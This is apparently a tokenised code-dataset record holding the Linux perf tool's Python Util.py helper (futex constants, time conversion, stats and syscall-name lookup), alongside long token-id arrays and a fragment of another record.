tuple(sorted(d.items())), focus, extended, padding
)
|
mit
|
[
504,
636,
2443,
363,
492,
3679,
63,
646,
199,
199,
646,
7629,
19686,
199,
646,
7629,
19686,
14,
1974,
199,
646,
747,
199,
199,
504,
1851,
773,
14,
1014,
14,
261,
1237,
7769,
492,
29417,
63,
18701,
199,
646,
1851,
773,
14,
1208,
199,
199,
504,
2508,
492,
3778,
199,
504,
2508,
992,
492,
11203,
199,
504,
1275,
492,
10166,
421,
199,
893,
26,
272,
492,
1134,
529,
7548,
199,
2590,
26,
272,
1134,
529,
7548,
275,
756,
421,
199,
12058,
63,
17114,
63,
6780,
275,
378,
199,
12058,
63,
17114,
63,
12801,
275,
413,
199,
199,
9977,
63,
8808,
275,
359,
272,
1689,
362,
401,
298,
71,
1288,
272,
1689,
1932,
401,
298,
80,
1288,
272,
1689,
524,
401,
298,
85,
1288,
272,
1689,
2993,
401,
298,
72,
1288,
272,
1689,
3446,
401,
298,
84,
1288,
272,
1689,
1807,
401,
298,
68,
1288,
272,
1689,
1419,
401,
298,
79,
1288,
272,
1689,
3773,
3066,
401,
298,
69,
1288,
199,
61,
421,
199,
318,
365,
63,
498,
2915,
8,
75,
304,
272,
408,
267,
6596,
642,
1324,
1566,
282,
790,
2915,
31,
272,
408,
272,
340,
1228,
8,
75,
12,
7116,
304,
267,
372,
715,
421,
199,
318,
11850,
63,
498,
8,
495,
12,
790,
12,
1318,
962,
628,
505,
401,
790,
962,
628,
498,
2349,
272,
634,
275,
942,
272,
4184,
275,
620,
14,
1294,
8,
498,
12,
413,
9,
272,
340,
4184,
59,
16,
2189,
267,
634,
14,
740,
1332,
505,
962,
12,
4184,
59,
16,
2459,
272,
634,
14,
740,
1332,
498,
962,
12,
790,
430,
272,
340,
4184,
59,
17,
2189,
267,
634,
14,
740,
1332,
505,
962,
12,
4184,
59,
17,
2459,
272,
372,
634,
421,
199,
3078,
63,
4283,
275,
4233,
421,
199,
318,
1475,
63,
498,
3643,
8,
6916,
12,
790,
628,
498,
401,
1139,
628,
505,
401,
4363,
29,
16,
304,
272,
408,
267,
9701,
282,
769,
402,
334,
498,
12,
574,
9,
6346,
14,
398,
982,
790,
365,
488,
12,
652,
1159,
10184,
1106,
1183,
26,
288,
446,
2136,
5534,
282,
1007,
13,
585,
12,
436,
1050,
376,
2402,
4363,
14,
288,
446,
710,
574,
365,
10184,
465,
282,
876,
13,
15317,
769,
402,
13502,
14,
272,
408,
272,
2203,
275,
942,
272,
340,
9877,
26,
267,
1390,
75,
275,
1748,
8,
988,
8,
552,
8,
73,
59,
16,
566,
367,
284,
315,
9877,
340,
284,
436,
284,
59,
16,
2522,
9301,
63,
4283,
9,
267,
367,
284,
12,
16616,
315,
3874,
8,
6916,
304,
288,
340,
16616,
365,
488,
26,
355,
2203,
14,
740,
8,
300,
19686,
14,
1872,
31348,
288,
587,
26,
355,
340,
1228,
8,
11475,
59,
17,
467,
7629,
19686,
14,
3339,
304,
490,
373,
275,
16616,
59,
17,
61,
355,
916,
16616,
59,
17,
61,
365,
488,
26,
490,
373,
275,
7629,
19686,
14,
1872,
10804,
355,
587,
26,
490,
373,
275,
7629,
19686,
14,
1872,
7694,
637,
12,
16616,
59,
17,
24310,
355,
2203,
14,
740,
8,
490,
7629,
19686,
14,
15086,
8,
717,
359,
1169,
1689,
5964,
401,
4363,
12,
7629,
19686,
14,
1872,
11986,
1826,
1169,
334,
1816,
298,
5964,
401,
1816,
1390,
75,
12,
1816,
7629,
19686,
14,
1872,
7694,
498,
12,
16616,
59,
16,
61,
503,
6899,
566,
1169,
2318,
1169,
373,
717,
2156,
717,
23003,
6574,
275,
499,
490,
776,
355,
776,
272,
372,
2203,
421,
199,
318,
3974,
12946,
8,
75,
304,
272,
340,
1022,
508,
298,
7244,
267,
1022,
275,
298,
1606,
3224,
2,
272,
916,
1022,
508,
298,
74,
582,
267,
1022,
275,
298,
2110,
2,
272,
916,
1022,
508,
298,
75,
582,
267,
1022,
275,
298,
384,
2,
272,
372,
1022,
421,
199,
318,
289,
761,
8,
83,
12,
1921,
304,
272,
308,
275,
2649,
8,
83,
9,
272,
372,
334,
267,
298,
5964,
401,
267,
822,
8,
83,
395,
267,
7629,
19686,
14,
1872,
8,
288,
359,
355,
334,
962,
12,
308,
9,
288,
1622,
267,
776,
272,
776,
199,
199,
692,
7629,
19686,
14,
1974,
14,
25577,
63,
2991,
26,
272,
10046,
9903,
63,
907,
11625,
275,
399,
3212,
85,
2025,
2470,
2,
272,
10046,
9903,
63,
9677,
275,
399,
3212,
85,
8867,
16,
2,
272,
10046,
9903,
63,
10520,
275,
399,
3212,
85,
821,
2177,
2,
199,
2836,
26,
272,
10046,
9903,
63,
907,
11625,
275,
399,
22774,
82,
8480,
272,
10046,
9903,
63,
9677,
275,
399,
17030,
23245,
272,
10046,
9903,
63,
10520,
275,
7369,
77,
8480,
421,
199,
318,
3066,
63,
908,
63,
1659,
8,
70,
12,
16470,
12,
9243,
12,
6273,
304,
272,
289,
275,
1211,
8,
70,
9,
272,
299,
441,
275,
942,
272,
2648,
275,
942,
272,
340,
9243,
26,
267,
2648,
14,
740,
8,
288,
289,
761,
8,
355,
3778,
14,
908,
63,
3954,
8,
70,
905,
2103,
63,
3954,
10252,
355,
298,
14337,
2,
288,
776,
267,
776,
272,
587,
26,
267,
2648,
14,
740,
8,
70,
761,
480,
1140,
2,
340,
16470,
587,
298,
221,
3872,
298,
12283,
2237,
339,
340,
289,
905,
17938,
6229,
267,
2648,
14,
740,
8,
70,
761,
8,
10527,
63,
10520,
12,
298,
1657,
2237,
339,
340,
289,
905,
2103,
63,
374,
63,
19540,
6229,
267,
2648,
14,
740,
8,
70,
761,
8,
10527,
63,
907,
11625,
12,
298,
19540,
2237,
272,
2648,
14,
740,
8,
70,
761,
8,
70,
905,
2103,
63,
765,
2255,
298,
765,
2237,
339,
19789,
275,
3089,
8,
73,
59,
17,
61,
367,
284,
315,
2648,
9,
435,
822,
8,
2103,
9,
446,
413,
339,
340,
289,
905,
1058,
7203,
937,
436,
440,
289,
905,
564,
379,
6229,
267,
399,
67,
275,
298,
10863,
2,
272,
916,
289,
905,
4518,
63,
600,
937,
503,
289,
905,
1508,
63,
1328,
6229,
267,
399,
67,
275,
298,
505,
2,
272,
587,
26,
267,
399,
67,
275,
298,
1213,
2,
339,
2648,
14,
740,
8,
267,
7629,
19686,
14,
1872,
7694,
947,
12,
289,
905,
2103,
63,
633,
3135,
566,
272,
776,
339,
299,
441,
14,
740,
8,
300,
19686,
14,
15086,
8,
2103,
12,
23003,
6574,
29,
17,
430,
339,
3085,
275,
942,
272,
3085,
14,
740,
8,
267,
1689,
5964,
401,
19789,
12,
7629,
19686,
14,
1872,
31348,
272,
776
] |
[
636,
2443,
363,
492,
3679,
63,
646,
199,
199,
646,
7629,
19686,
199,
646,
7629,
19686,
14,
1974,
199,
646,
747,
199,
199,
504,
1851,
773,
14,
1014,
14,
261,
1237,
7769,
492,
29417,
63,
18701,
199,
646,
1851,
773,
14,
1208,
199,
199,
504,
2508,
492,
3778,
199,
504,
2508,
992,
492,
11203,
199,
504,
1275,
492,
10166,
421,
199,
893,
26,
272,
492,
1134,
529,
7548,
199,
2590,
26,
272,
1134,
529,
7548,
275,
756,
421,
199,
12058,
63,
17114,
63,
6780,
275,
378,
199,
12058,
63,
17114,
63,
12801,
275,
413,
199,
199,
9977,
63,
8808,
275,
359,
272,
1689,
362,
401,
298,
71,
1288,
272,
1689,
1932,
401,
298,
80,
1288,
272,
1689,
524,
401,
298,
85,
1288,
272,
1689,
2993,
401,
298,
72,
1288,
272,
1689,
3446,
401,
298,
84,
1288,
272,
1689,
1807,
401,
298,
68,
1288,
272,
1689,
1419,
401,
298,
79,
1288,
272,
1689,
3773,
3066,
401,
298,
69,
1288,
199,
61,
421,
199,
318,
365,
63,
498,
2915,
8,
75,
304,
272,
408,
267,
6596,
642,
1324,
1566,
282,
790,
2915,
31,
272,
408,
272,
340,
1228,
8,
75,
12,
7116,
304,
267,
372,
715,
421,
199,
318,
11850,
63,
498,
8,
495,
12,
790,
12,
1318,
962,
628,
505,
401,
790,
962,
628,
498,
2349,
272,
634,
275,
942,
272,
4184,
275,
620,
14,
1294,
8,
498,
12,
413,
9,
272,
340,
4184,
59,
16,
2189,
267,
634,
14,
740,
1332,
505,
962,
12,
4184,
59,
16,
2459,
272,
634,
14,
740,
1332,
498,
962,
12,
790,
430,
272,
340,
4184,
59,
17,
2189,
267,
634,
14,
740,
1332,
505,
962,
12,
4184,
59,
17,
2459,
272,
372,
634,
421,
199,
3078,
63,
4283,
275,
4233,
421,
199,
318,
1475,
63,
498,
3643,
8,
6916,
12,
790,
628,
498,
401,
1139,
628,
505,
401,
4363,
29,
16,
304,
272,
408,
267,
9701,
282,
769,
402,
334,
498,
12,
574,
9,
6346,
14,
398,
982,
790,
365,
488,
12,
652,
1159,
10184,
1106,
1183,
26,
288,
446,
2136,
5534,
282,
1007,
13,
585,
12,
436,
1050,
376,
2402,
4363,
14,
288,
446,
710,
574,
365,
10184,
465,
282,
876,
13,
15317,
769,
402,
13502,
14,
272,
408,
272,
2203,
275,
942,
272,
340,
9877,
26,
267,
1390,
75,
275,
1748,
8,
988,
8,
552,
8,
73,
59,
16,
566,
367,
284,
315,
9877,
340,
284,
436,
284,
59,
16,
2522,
9301,
63,
4283,
9,
267,
367,
284,
12,
16616,
315,
3874,
8,
6916,
304,
288,
340,
16616,
365,
488,
26,
355,
2203,
14,
740,
8,
300,
19686,
14,
1872,
31348,
288,
587,
26,
355,
340,
1228,
8,
11475,
59,
17,
467,
7629,
19686,
14,
3339,
304,
490,
373,
275,
16616,
59,
17,
61,
355,
916,
16616,
59,
17,
61,
365,
488,
26,
490,
373,
275,
7629,
19686,
14,
1872,
10804,
355,
587,
26,
490,
373,
275,
7629,
19686,
14,
1872,
7694,
637,
12,
16616,
59,
17,
24310,
355,
2203,
14,
740,
8,
490,
7629,
19686,
14,
15086,
8,
717,
359,
1169,
1689,
5964,
401,
4363,
12,
7629,
19686,
14,
1872,
11986,
1826,
1169,
334,
1816,
298,
5964,
401,
1816,
1390,
75,
12,
1816,
7629,
19686,
14,
1872,
7694,
498,
12,
16616,
59,
16,
61,
503,
6899,
566,
1169,
2318,
1169,
373,
717,
2156,
717,
23003,
6574,
275,
499,
490,
776,
355,
776,
272,
372,
2203,
421,
199,
318,
3974,
12946,
8,
75,
304,
272,
340,
1022,
508,
298,
7244,
267,
1022,
275,
298,
1606,
3224,
2,
272,
916,
1022,
508,
298,
74,
582,
267,
1022,
275,
298,
2110,
2,
272,
916,
1022,
508,
298,
75,
582,
267,
1022,
275,
298,
384,
2,
272,
372,
1022,
421,
199,
318,
289,
761,
8,
83,
12,
1921,
304,
272,
308,
275,
2649,
8,
83,
9,
272,
372,
334,
267,
298,
5964,
401,
267,
822,
8,
83,
395,
267,
7629,
19686,
14,
1872,
8,
288,
359,
355,
334,
962,
12,
308,
9,
288,
1622,
267,
776,
272,
776,
199,
199,
692,
7629,
19686,
14,
1974,
14,
25577,
63,
2991,
26,
272,
10046,
9903,
63,
907,
11625,
275,
399,
3212,
85,
2025,
2470,
2,
272,
10046,
9903,
63,
9677,
275,
399,
3212,
85,
8867,
16,
2,
272,
10046,
9903,
63,
10520,
275,
399,
3212,
85,
821,
2177,
2,
199,
2836,
26,
272,
10046,
9903,
63,
907,
11625,
275,
399,
22774,
82,
8480,
272,
10046,
9903,
63,
9677,
275,
399,
17030,
23245,
272,
10046,
9903,
63,
10520,
275,
7369,
77,
8480,
421,
199,
318,
3066,
63,
908,
63,
1659,
8,
70,
12,
16470,
12,
9243,
12,
6273,
304,
272,
289,
275,
1211,
8,
70,
9,
272,
299,
441,
275,
942,
272,
2648,
275,
942,
272,
340,
9243,
26,
267,
2648,
14,
740,
8,
288,
289,
761,
8,
355,
3778,
14,
908,
63,
3954,
8,
70,
905,
2103,
63,
3954,
10252,
355,
298,
14337,
2,
288,
776,
267,
776,
272,
587,
26,
267,
2648,
14,
740,
8,
70,
761,
480,
1140,
2,
340,
16470,
587,
298,
221,
3872,
298,
12283,
2237,
339,
340,
289,
905,
17938,
6229,
267,
2648,
14,
740,
8,
70,
761,
8,
10527,
63,
10520,
12,
298,
1657,
2237,
339,
340,
289,
905,
2103,
63,
374,
63,
19540,
6229,
267,
2648,
14,
740,
8,
70,
761,
8,
10527,
63,
907,
11625,
12,
298,
19540,
2237,
272,
2648,
14,
740,
8,
70,
761,
8,
70,
905,
2103,
63,
765,
2255,
298,
765,
2237,
339,
19789,
275,
3089,
8,
73,
59,
17,
61,
367,
284,
315,
2648,
9,
435,
822,
8,
2103,
9,
446,
413,
339,
340,
289,
905,
1058,
7203,
937,
436,
440,
289,
905,
564,
379,
6229,
267,
399,
67,
275,
298,
10863,
2,
272,
916,
289,
905,
4518,
63,
600,
937,
503,
289,
905,
1508,
63,
1328,
6229,
267,
399,
67,
275,
298,
505,
2,
272,
587,
26,
267,
399,
67,
275,
298,
1213,
2,
339,
2648,
14,
740,
8,
267,
7629,
19686,
14,
1872,
7694,
947,
12,
289,
905,
2103,
63,
633,
3135,
566,
272,
776,
339,
299,
441,
14,
740,
8,
300,
19686,
14,
15086,
8,
2103,
12,
23003,
6574,
29,
17,
430,
339,
3085,
275,
942,
272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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
brymaster5000/m7-GPE-L
|
tools/perf/scripts/python/Perf-Trace-Util/lib/Perf/Trace/Util.py
|
12527
|
1935
|
# Util.py - Python extension for perf script, miscellaneous utility code
#
# Copyright (C) 2010 by Tom Zanussi <tzanussi@gmail.com>
#
# This software may be distributed under the terms of the GNU General
# Public License ("GPL") version 2 as published by the Free Software
# Foundation.
import errno, os
FUTEX_WAIT = 0
FUTEX_WAKE = 1
FUTEX_PRIVATE_FLAG = 128
FUTEX_CLOCK_REALTIME = 256
FUTEX_CMD_MASK = ~(FUTEX_PRIVATE_FLAG | FUTEX_CLOCK_REALTIME)
NSECS_PER_SEC = 1000000000
def avg(total, n):
return total / n
def nsecs(secs, nsecs):
return secs * NSECS_PER_SEC + nsecs
def nsecs_secs(nsecs):
return nsecs / NSECS_PER_SEC
def nsecs_nsecs(nsecs):
return nsecs % NSECS_PER_SEC
def nsecs_str(nsecs):
str = "%5u.%09u" % (nsecs_secs(nsecs), nsecs_nsecs(nsecs)),
return str
def add_stats(dict, key, value):
if not dict.has_key(key):
dict[key] = (value, value, value, 1)
else:
min, max, avg, count = dict[key]
if value < min:
min = value
if value > max:
max = value
avg = (avg + value) / 2
dict[key] = (min, max, avg, count + 1)
def clear_term():
print("\x1b[H\x1b[2J")
audit_package_warned = False
try:
import audit
machine_to_id = {
'x86_64': audit.MACH_86_64,
'alpha' : audit.MACH_ALPHA,
'ia64' : audit.MACH_IA64,
'ppc' : audit.MACH_PPC,
'ppc64' : audit.MACH_PPC64,
's390' : audit.MACH_S390,
's390x' : audit.MACH_S390X,
'i386' : audit.MACH_X86,
'i586' : audit.MACH_X86,
'i686' : audit.MACH_X86,
}
try:
machine_to_id['armeb'] = audit.MACH_ARMEB
except:
pass
machine_id = machine_to_id[os.uname()[4]]
except:
if not audit_package_warned:
audit_package_warned = True
print "Install the audit-libs-python package to get syscall names"
def syscall_name(id):
try:
return audit.audit_syscall_to_name(id, machine_id)
except:
return str(id)
def strerror(nr):
try:
return errno.errorcode[abs(nr)]
except:
return "Unknown %d errno" % nr
|
gpl-2.0
|
[
3,
21248,
14,
647,
446,
2018,
3329,
367,
8582,
2884,
12,
3201,
19549,
11420,
1233,
199,
3,
199,
3,
1898,
334,
35,
9,
7129,
701,
21644,
29385,
665,
29453,
32,
6799,
14,
957,
30,
199,
3,
199,
3,
961,
2032,
1443,
506,
1854,
1334,
314,
2895,
402,
314,
1664,
1696,
199,
3,
1684,
844,
1689,
12006,
531,
1015,
499,
465,
3267,
701,
314,
2868,
2290,
199,
3,
2752,
14,
199,
199,
646,
7554,
12,
747,
199,
199,
31179,
63,
12458,
275,
378,
199,
31179,
63,
9004,
2430,
275,
413,
199,
31179,
63,
18748,
63,
3719,
275,
7960,
199,
31179,
63,
30690,
63,
15508,
4961,
275,
7633,
199,
31179,
63,
9744,
63,
12880,
275,
6146,
8,
31179,
63,
18748,
63,
3719,
1204,
481,
934,
1438,
63,
30690,
63,
15508,
4961,
9,
199,
199,
46,
28466,
63,
4227,
63,
15048,
259,
275,
413,
25464,
199,
199,
318,
12402,
8,
2923,
12,
302,
304,
272,
372,
3141,
1182,
302,
199,
199,
318,
13781,
8,
4855,
12,
13781,
304,
272,
372,
20091,
627,
653,
28466,
63,
4227,
63,
15048,
435,
13781,
199,
199,
318,
13781,
63,
4855,
8,
9618,
304,
272,
372,
13781,
1182,
653,
28466,
63,
4227,
63,
15048,
199,
199,
318,
13781,
63,
9618,
8,
9618,
304,
272,
372,
13781,
450,
653,
28466,
63,
4227,
63,
15048,
199,
199,
318,
13781,
63,
495,
8,
9618,
304,
272,
620,
275,
2071,
21,
85,
4111,
1643,
85,
2,
450,
334,
9618,
63,
4855,
8,
9618,
395,
13781,
63,
9618,
8,
9618,
1826,
272,
372,
620,
199,
199,
318,
1050,
63,
3200,
8,
807,
12,
790,
12,
574,
304,
199,
198,
692,
440,
1211,
14,
1989,
63,
498,
8,
498,
304,
507,
198,
807,
59,
498,
61,
275,
334,
585,
12,
574,
12,
574,
12,
413,
9,
199,
198,
2836,
26,
507,
198,
827,
12,
1390,
12,
12402,
12,
2338,
275,
1211,
59,
498,
61,
507,
198,
692,
574,
665,
1748,
26,
686,
198,
827,
275,
574,
507,
198,
692,
574,
690,
1390,
26,
686,
198,
988,
275,
574,
507,
198,
8595,
275,
334,
8595,
435,
574,
9,
1182,
499,
507,
198,
807,
59,
498,
61,
275,
334,
827,
12,
1390,
12,
12402,
12,
2338,
435,
413,
9,
199,
199,
318,
5436,
63,
5125,
837,
272,
870,
4582,
88,
17,
66,
59,
40,
60,
88,
17,
66,
59,
18,
42,
531,
199,
199,
14274,
63,
2491,
63,
4050,
379,
275,
756,
199,
199,
893,
26,
199,
198,
646,
13968,
199,
198,
6744,
63,
475,
63,
344,
275,
469,
507,
198,
7,
88,
1184,
63,
772,
356,
13968,
14,
13802,
63,
1184,
63,
772,
12,
507,
198,
7,
4468,
7,
198,
26,
13968,
14,
13802,
63,
18554,
12,
507,
198,
7,
4674,
772,
7,
198,
26,
13968,
14,
13802,
63,
13033,
772,
12,
507,
198,
7,
20638,
7,
198,
26,
13968,
14,
13802,
63,
48,
4222,
12,
507,
198,
7,
20638,
772,
7,
198,
26,
13968,
14,
13802,
63,
48,
4222,
772,
12,
507,
198,
1159,
12302,
7,
198,
26,
13968,
14,
13802,
63,
51,
12302,
12,
507,
198,
1159,
12302,
88,
7,
198,
26,
13968,
14,
13802,
63,
51,
12302,
56,
12,
507,
198,
7,
73,
8040,
7,
198,
26,
13968,
14,
13802,
63,
56,
1184,
12,
507,
198,
7,
73,
26888,
7,
198,
26,
13968,
14,
13802,
63,
56,
1184,
12,
507,
198,
7,
73,
10253,
7,
198,
26,
13968,
14,
13802,
63,
56,
1184,
12,
199,
198,
93,
199,
198,
893,
26,
507,
198,
6744,
63,
475,
63,
344,
459,
285,
278,
66,
418,
275,
13968,
14,
13802,
63,
689,
3635,
34,
199,
198,
2590,
26,
507,
198,
1529,
199,
198,
6744,
63,
344,
275,
6844,
63,
475,
63,
344,
59,
736,
14,
16040,
3430,
20,
2677,
199,
2590,
26,
199,
198,
692,
440,
13968,
63,
2491,
63,
4050,
379,
26,
507,
198,
14274,
63,
2491,
63,
4050,
379,
275,
715,
507,
198,
1361,
298,
8154,
314,
13968,
13,
8450,
13,
1548,
2559,
370,
664,
18901,
1561,
2,
199,
199,
318,
18901,
63,
354,
8,
344,
304,
199,
198,
893,
26,
507,
198,
1107,
13968,
14,
14274,
63,
19444,
63,
475,
63,
354,
8,
344,
12,
6844,
63,
344,
9,
199,
198,
2590,
26,
507,
198,
1107,
620,
8,
344,
9,
199,
199,
318,
410,
17844,
8,
7865,
304,
199,
198,
893,
26,
507,
198,
1107,
7554,
14,
28857,
59,
2101,
8,
7865,
1874,
199,
198,
2590,
26,
507,
198,
1107,
298,
5912,
450,
68,
7554,
2,
450,
14762,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
21248,
14,
647,
446,
2018,
3329,
367,
8582,
2884,
12,
3201,
19549,
11420,
1233,
199,
3,
199,
3,
1898,
334,
35,
9,
7129,
701,
21644,
29385,
665,
29453,
32,
6799,
14,
957,
30,
199,
3,
199,
3,
961,
2032,
1443,
506,
1854,
1334,
314,
2895,
402,
314,
1664,
1696,
199,
3,
1684,
844,
1689,
12006,
531,
1015,
499,
465,
3267,
701,
314,
2868,
2290,
199,
3,
2752,
14,
199,
199,
646,
7554,
12,
747,
199,
199,
31179,
63,
12458,
275,
378,
199,
31179,
63,
9004,
2430,
275,
413,
199,
31179,
63,
18748,
63,
3719,
275,
7960,
199,
31179,
63,
30690,
63,
15508,
4961,
275,
7633,
199,
31179,
63,
9744,
63,
12880,
275,
6146,
8,
31179,
63,
18748,
63,
3719,
1204,
481,
934,
1438,
63,
30690,
63,
15508,
4961,
9,
199,
199,
46,
28466,
63,
4227,
63,
15048,
259,
275,
413,
25464,
199,
199,
318,
12402,
8,
2923,
12,
302,
304,
272,
372,
3141,
1182,
302,
199,
199,
318,
13781,
8,
4855,
12,
13781,
304,
272,
372,
20091,
627,
653,
28466,
63,
4227,
63,
15048,
435,
13781,
199,
199,
318,
13781,
63,
4855,
8,
9618,
304,
272,
372,
13781,
1182,
653,
28466,
63,
4227,
63,
15048,
199,
199,
318,
13781,
63,
9618,
8,
9618,
304,
272,
372,
13781,
450,
653,
28466,
63,
4227,
63,
15048,
199,
199,
318,
13781,
63,
495,
8,
9618,
304,
272,
620,
275,
2071,
21,
85,
4111,
1643,
85,
2,
450,
334,
9618,
63,
4855,
8,
9618,
395,
13781,
63,
9618,
8,
9618,
1826,
272,
372,
620,
199,
199,
318,
1050,
63,
3200,
8,
807,
12,
790,
12,
574,
304,
199,
198,
692,
440,
1211,
14,
1989,
63,
498,
8,
498,
304,
507,
198,
807,
59,
498,
61,
275,
334,
585,
12,
574,
12,
574,
12,
413,
9,
199,
198,
2836,
26,
507,
198,
827,
12,
1390,
12,
12402,
12,
2338,
275,
1211,
59,
498,
61,
507,
198,
692,
574,
665,
1748,
26,
686,
198,
827,
275,
574,
507,
198,
692,
574,
690,
1390,
26,
686,
198,
988,
275,
574,
507,
198,
8595,
275,
334,
8595,
435,
574,
9,
1182,
499,
507,
198,
807,
59,
498,
61,
275,
334,
827,
12,
1390,
12,
12402,
12,
2338,
435,
413,
9,
199,
199,
318,
5436,
63,
5125,
837,
272,
870,
4582,
88,
17,
66,
59,
40,
60,
88,
17,
66,
59,
18,
42,
531,
199,
199,
14274,
63,
2491,
63,
4050,
379,
275,
756,
199,
199,
893,
26,
199,
198,
646,
13968,
199,
198,
6744,
63,
475,
63,
344,
275,
469,
507,
198,
7,
88,
1184,
63,
772,
356,
13968,
14,
13802,
63,
1184,
63,
772,
12,
507,
198,
7,
4468,
7,
198,
26,
13968,
14,
13802,
63,
18554,
12,
507,
198,
7,
4674,
772,
7,
198,
26,
13968,
14,
13802,
63,
13033,
772,
12,
507,
198,
7,
20638,
7,
198,
26,
13968,
14,
13802,
63,
48,
4222,
12,
507,
198,
7,
20638,
772,
7,
198,
26,
13968,
14,
13802,
63,
48,
4222,
772,
12,
507,
198,
1159,
12302,
7,
198,
26,
13968,
14,
13802,
63,
51,
12302,
12,
507,
198,
1159,
12302,
88,
7,
198,
26,
13968,
14,
13802,
63,
51,
12302,
56,
12,
507,
198,
7,
73,
8040,
7,
198,
26,
13968,
14,
13802,
63,
56,
1184,
12,
507,
198,
7,
73,
26888,
7,
198,
26,
13968,
14,
13802,
63,
56,
1184,
12,
507,
198,
7,
73,
10253,
7,
198,
26,
13968,
14,
13802,
63,
56,
1184,
12,
199,
198,
93,
199,
198,
893,
26,
507,
198,
6744,
63,
475,
63,
344,
459,
285,
278,
66,
418,
275,
13968,
14,
13802,
63,
689,
3635,
34,
199,
198,
2590,
26,
507,
198,
1529,
199,
198,
6744,
63,
344,
275,
6844,
63,
475,
63,
344,
59,
736,
14,
16040,
3430,
20,
2677,
199,
2590,
26,
199,
198,
692,
440,
13968,
63,
2491,
63,
4050,
379,
26,
507,
198,
14274,
63,
2491,
63,
4050,
379,
275,
715,
507,
198,
1361,
298,
8154,
314,
13968,
13,
8450,
13,
1548,
2559,
370,
664,
18901,
1561,
2,
199,
199,
318,
18901,
63,
354,
8,
344,
304,
199,
198,
893,
26,
507,
198,
1107,
13968,
14,
14274,
63,
19444,
63,
475,
63,
354,
8,
344,
12,
6844,
63,
344,
9,
199,
198,
2590,
26,
507,
198,
1107,
620,
8,
344,
9,
199,
199,
318,
410,
17844,
8,
7865,
304,
199,
198,
893,
26,
507,
198,
1107,
7554,
14,
28857,
59,
2101,
8,
7865,
1874,
199,
198,
2590,
26,
507,
198,
1107,
298,
5912,
450,
68,
7554,
2,
450,
14762,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,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
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
